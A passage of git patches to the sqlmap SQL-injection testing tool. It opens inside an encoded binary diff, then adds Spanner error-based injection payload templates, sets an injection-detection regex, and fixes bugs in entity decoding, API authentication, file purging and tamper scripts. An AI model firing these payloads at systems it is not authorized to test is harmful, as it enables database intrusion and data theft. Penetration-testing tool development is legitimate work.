z_uqSoD#x_FDfwD|$4j|+;Xz@)5wcU~h|3WhvLsd*#LHthZG`z)4sseC1QQ^yuW7o! zj06mC|94ADdT;Wy9~7?57iq-caXjk8KZ_R~5L21zh-D3YmO7?x5vxsTwDNv*Tw_LA zx<`IwM}dbyWwz!-lt%pAQp_{=O;>yPB5;hy`o~L!>6&fw)S*o6=)UvKFIhmH4Hqsp zUWJ*U@-sR81~{le7=C0@32_&oo(_ZX>LSl2nl0{r?sqqu$LF!d!Hovh65rs?(qLvb zc(1`gbpmBSP=HoVhn{*Hr=JaGe%0Mlv*#-ke$jPjFA@)Fclt-`oioB10lK^7EF~aI zmN)qL-W(?hi>orAj#_e26kx^G;)Gz0QAG!#DlTFH8Dwmz$zsSg9r4*yqBNG95SGIs zF1l9JU2HV3WW$ZwMrg72wjq}tuX5MX2LDOHdNLf=VRPcG?^ue(UT~m;69I{fV$WH+ zK9p3?36rt9pRwPmeaV?iZ&ZDezc;-i3YE#y! zSATflF!ken5HOVEyg?pRBf};qG?FTpdZ!TVfjhCJ@{r^d&w2YyA zio_$^y5(H2Dj!-3=Y!qJ4cFUA6rAJp3WU+LxU%;8wFpjB$>aFI2ErXwHbxL&x%Vh; z1stUx9p}4dmAaf8sbuzh8OTiDv0Xr)U-Wso$(73+sLcD6J$%iMk9*{af;Zw6E4Y(D@LE^y4z2$@9N$IQ-hO@8&HLC9fL;)?Vld{Y6B=usoq%uS(|TM~IAZnH45QCsOE%l~6e=wdJYJ#= zyM6ogD}Q?GS}RgB=3-M89Tk0l7ol)e19Jwja|&$=vQ8sJJQW9}He|m1j^Y46eHHdL z*v$Pt%`gGWDwW@ThOqIXstmjzu~ysHL?`g36WYWr8~LvGc5+^wt00#*LSfHgxBBu7 zs$hO5cm}ux z1+JQ6cepf~FHS+&cEVd;lM|vQm&E2mwa5#xcie;M2KA2YOrojOHue*^X7noO6+$SifB+#*i?k#dZfz9ZuV3 zZ^(_43UzHFf|FbAKZosvcZ9X(E{$0MzPHJd7F8yERzW3Z71;SwP}jhi@LssRCjpeg z??$xW8u$wpHViiMpWCy|$7z%`XVxFLxBYKq@MY=0C8Ry#T+Pk`qkuj_~e*exDdW{34 z)9NTb;J(w}DBi7kuusk13jYHm+;RW^?b~eKn}hRe!1uuJtO(`{CbI}L1q~@gF<&Td zSNMq@Wx|?=I2(}YQyyzJ1*2Q;i?q~iI>ypPNma`AMEDUo5DEDXXZXcE+F9jIoWSLk z#F$*3w{V;C>#DRy`^9oU5Frk-5*<)xUy1``05qTSm2*F5|xFp!0<@zfH9yjGcAo0B0LK{2S)cCOpR&6*^tyIMKrjy6;HRT z;!11LyL%p@n6R>MhVn21{nU>*$S<|U#bv__H-wBdoU@G<=%#f+bv;3kb=Z%z4{L4o zwVQlSRfRHeSJtP@;Nc-&sdE_rxIVa>rM5Ph(w3?w*oUM@_cV{8kt4*a*N;Z*iK(^B zx-@cxn(~7yxM-h~xf}TKxLp@NbAVN+PKhhLotdpHwo9V0=HqM2DYT=7Z&ugSW-wVi zc2dN0M~gq~NvE|xaXe#$BF0e+{B2J>${?;6Z61|6&VTIC0O#N5Sg| z4f;wg6#&fA_F|(KW3m`IDn|4&zAMhZX@qf1gyFKvzDCC&Z9tm0Q4vj-EVd<7Rqu0c zlh+2kU{TNH5nw0@qbFyl4R|NI&B#oh;a?eLqA;Uak`T~xFUZ)-SW*ZByr>fHe|Tmj zeqy5-cKx?q#~j-4B9%}d2;M7{CblSnF9WZ3!AM$jo(+`9;dGBXjA}SjZDZ28~Z~^63%*O62)-S$X3~5Y*|7s!UC@XZuHwxe3U3_=H#(Y?$2Y(CXpB~i|&7?Y=8QiNHGfjyLk~3o!LVJ{= z6PV5q9GE}%ct0<3nm0S-`O<~RM`95)liHFu<

+ + Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+
+ + + Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 3 + 1,2,3,8,9 + 1 + OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+
", "", content, flags=re.DOTALL) # Note: strip (possibly multi-line) XML comments so commented-out entries aren't harvested for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): if abortedFlag: diff --git a/lib/request/basic.py b/lib/request/basic.py index c72e946b5e6..2d72a3242ff 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -284,6 +284,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): '\\t' >>> getText(decodePage(b"J", None, "text/html; charset=utf-8")) 'J' + >>> decodePage(b"™", None, "text/html; charset=utf-8") == u"\u2122" + True """ if not page or (conf.nullConnection and len(page) < 2): @@ -379,6 +381,16 @@ def _(match): return retVal page = re.sub(r"&#(\d+);", _, page) + # e.g. ’…™ (hex numeric refs >= U+0100; smaller ones already handled at byte-level) + def _(match): + retVal = match.group(0) + try: + retVal = _unichr(int(match.group(1), 16)) + except (ValueError, OverflowError): + pass + return retVal + page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page) + # e.g. ζ page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) else: diff --git a/lib/utils/api.py b/lib/utils/api.py index 8cd8bcfff41..9162bb98d6d 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -327,10 +327,10 @@ def check_authentication(): except: request.environ["PATH_INFO"] = "/error/401" else: - if creds.count(':') != 1: + if ':' not in creds: request.environ["PATH_INFO"] = "/error/401" else: - username, password = creds.split(':') + username, password = creds.split(':', 1) if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): request.environ["PATH_INFO"] = "/error/401" diff --git a/lib/utils/purge.py b/lib/utils/purge.py index b1c0e6cd41e..a290f93f773 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -13,11 +13,9 @@ import string from lib.core.common import getSafeExString -from lib.core.common import openFile -from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import logger -from thirdparty.six import unichr as _unichr +from lib.core.settings import PURGE_BLOCK_SIZE def purge(directory): """ @@ -46,12 +44,25 @@ def purge(directory): except: pass - logger.debug("writing random data to files") + logger.debug("overwriting file contents") for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with openFile(filepath, "w+") as f: - f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) + if filesize: + # Note: NIST SP 800-88 ("Clear") / DoD 5220.22-M style multi-pass in-place overwrite + # (zeros, ones, random) forcing each pass to disk; performed BEFORE the truncation below + # so the original bytes are actually overwritten and not just released to free blocks. + # Written in bounded blocks so peak memory stays O(PURGE_BLOCK_SIZE), not O(filesize) + with open(filepath, "r+b") as f: + for getBlock in (lambda n: b"\x00" * n, lambda n: b"\xff" * n, lambda n: os.urandom(n)): + f.seek(0) + remaining = filesize + while remaining > 0: + count = min(PURGE_BLOCK_SIZE, remaining) + f.write(getBlock(count)) + remaining -= count + f.flush() + os.fsync(f.fileno()) except: pass diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 1d4dccc2c00..d6d702ffc43 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -82,7 +82,7 @@ def connect(self): engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() - except (TypeError, ValueError): + except (TypeError, ValueError) as ex: if "_get_server_version_info" in traceback.format_exc(): try: import pymssql @@ -90,10 +90,14 @@ def connect(self): raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass + # Note: surface (as a proper SqlmapConnectionException) instead of silently continuing with self.connector left None + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") else: - pass + # Note: raise as SqlmapConnectionException (like the generic handler below) so the caller's native-connector + # fallback engages and no raw TypeError/ValueError can reach sqlmap's top-level handler + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) except SqlmapFilePathException: raise except Exception as ex: From 10c464cd6f73ddc2bd186fa1e6a3c5224ea369ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 21:40:44 +0200 Subject: [PATCH 556/853] Minor bug fixes --- data/txt/sha256sums.txt | 8 ++++---- lib/core/agent.py | 2 +- lib/core/common.py | 18 +++++++++++++++--- lib/core/settings.py | 4 ++-- lib/techniques/blind/inference.py | 3 ++- 5 files changed, 24 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 92ae9257c39..8f4d7fc021b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,9 +165,9 @@ b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller c1881685bef8504ded32c51abed00ab51849008c84b74e8a66117e5f5041b3df lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -bc655c5f09a4048e53d2fec5f65e9e45024c2ad9882b8824b0d338917fd6496b lib/core/agent.py +b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -c91b6b9429a50d28b88334e3f88557d40a01893a7e69c30186c2f6efd0ce9906 lib/core/common.py +2e5ee80b24bd6dd961b64357e745012145a44d52c49a525d8f5f5e893a8ccb8d lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -40244898d0eb5e2634a6794d78fa29315e9e4b9c6f773133a29dd20259bc63a0 lib/core/settings.py +7d21077e81e28eba77cde0e655aa5750c3f80a678ac4cd6b9b863da5137bb776 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -230,7 +230,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -ea815192edb20b5f60e72a7eded9e2942c9e1dcb378b86f101ee69cf8de149f3 lib/techniques/blind/inference.py +7b62bbb4d94f1271380a44142b407dc9eeed1d8b0319cdad57493dc1a12caff8 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py diff --git a/lib/core/agent.py b/lib/core/agent.py index 9c109238acd..ea0f206b7a0 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1117,7 +1117,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) - elif Backend.isDbms(DBMS.MSSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): forgeNotIn = True if " ORDER BY " in limitedQuery: diff --git a/lib/core/common.py b/lib/core/common.py index e486a6fe149..87b0f986328 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5267,10 +5267,21 @@ def zeroDepthSearch(expression, value): retVal = [] depth = 0 - for index in xrange(len(expression)): - if expression[index] == '(': + quote = None + index = 0 + while index < len(expression): + char = expression[index] + if quote: # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y') + if char == quote: + if index + 1 < len(expression) and expression[index + 1] == quote: # escaped quote (e.g. '') + index += 1 + else: + quote = None + elif char in ('"', "'"): + quote = char + elif char == '(': depth += 1 - elif expression[index] == ')': + elif char == ')': depth -= 1 elif depth == 0: if value.startswith('[') and value.endswith(']'): @@ -5278,6 +5289,7 @@ def zeroDepthSearch(expression, value): retVal.append(index) elif expression[index:index + len(value)] == value: retVal.append(index) + index += 1 return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index c64fe424eb3..e6de1b4964d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.100" +VERSION = "1.10.6.101" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -624,7 +624,7 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) +CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) # Patterns often seen in HTTP headers containing custom injection marking character '*' PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 42c20f68689..1758d98089f 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -711,7 +711,8 @@ def blindThread(): if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue - hashDBWrite(expression, finalValue) + if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one + hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) From 03fb84c5bea7c05d6053353c77194d3c96d737ff Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 21:44:04 +0200 Subject: [PATCH 557/853] Minor bug fixes --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/connect.py | 5 +---- lib/utils/api.py | 2 +- 4 files changed, 6 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8f4d7fc021b..a3679ffbbf6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7d21077e81e28eba77cde0e655aa5750c3f80a678ac4cd6b9b863da5137bb776 lib/core/settings.py +8277cf9d33b3eda382c651f98a3aecf655419ff7f1aa62c8666855a3f336558a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c lib/request/comparison.py -c4a0759ee29ce8a29648090660dc273494abef9bda52430c38e41675a9b6ac6a lib/request/connect.py +ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py @@ -241,7 +241,7 @@ f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0 lib/techniques/union/use.py -7c33894b640d93fc8062781525586791479c9984c3de04283826642e5c7c4374 lib/utils/api.py +8720a744d46471fe46f5a67e16b2d4147339c6685fbf0fdf50f1a40e9a75c23a lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e6de1b4964d..2a915cbf8d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.101" +VERSION = "1.10.6.102" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index d83708db238..b66c0530cf0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1626,10 +1626,7 @@ def _(value): if payload is None: value = value.replace(kb.customInjectionMark, "") else: - try: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) - except re.error: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), lambda _: payload, value) # Note: function replacement inserts payload literally - avoids re.sub interpreting backslashes / group refs (e.g. \1, \g<...>) in the payload return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) diff --git a/lib/utils/api.py b/lib/utils/api.py index 9162bb98d6d..4a4559635de 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -331,7 +331,7 @@ def check_authentication(): request.environ["PATH_INFO"] = "/error/401" else: username, password = creds.split(':', 1) - if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): + if not (safeCompareStrings(username.strip(), DataStore.username or "") and safeCompareStrings(password.strip(), DataStore.password or "")): # Note: constant-time comparison (mirrors is_admin) to avoid a timing side-channel on the credentials request.environ["PATH_INFO"] = "/error/401" @hook("after_request") From d42e50367e2d52471d8c1a278bb13efb8a27962b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 00:41:38 +0200 Subject: [PATCH 558/853] Fixing some tamper script bugs --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- tamper/escapequotes.py | 7 ++++++- tamper/percentage.py | 2 ++ 4 files changed, 12 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a3679ffbbf6..e61b9434006 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8277cf9d33b3eda382c651f98a3aecf655419ff7f1aa62c8666855a3f336558a lib/core/settings.py +adb776e7b2a3b238fcde22d6b4ca982b33ba949fac5fc4d1e1c4b3cd00c74cc6 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -513,7 +513,7 @@ ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/comment 1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8 tamper/equaltolike.py c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d tamper/equaltorlike.py -d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py +d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205 tamper/escapequotes.py 0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py 89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5 tamper/halfversionedmorekeywords.py 76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022 tamper/hex2char.py @@ -535,7 +535,7 @@ b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecu 687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py 07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py -88393d8062c76e402b811872a335db92b457aeca906835c751274b714def9e7e tamper/percentage.py +0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba tamper/percentage.py 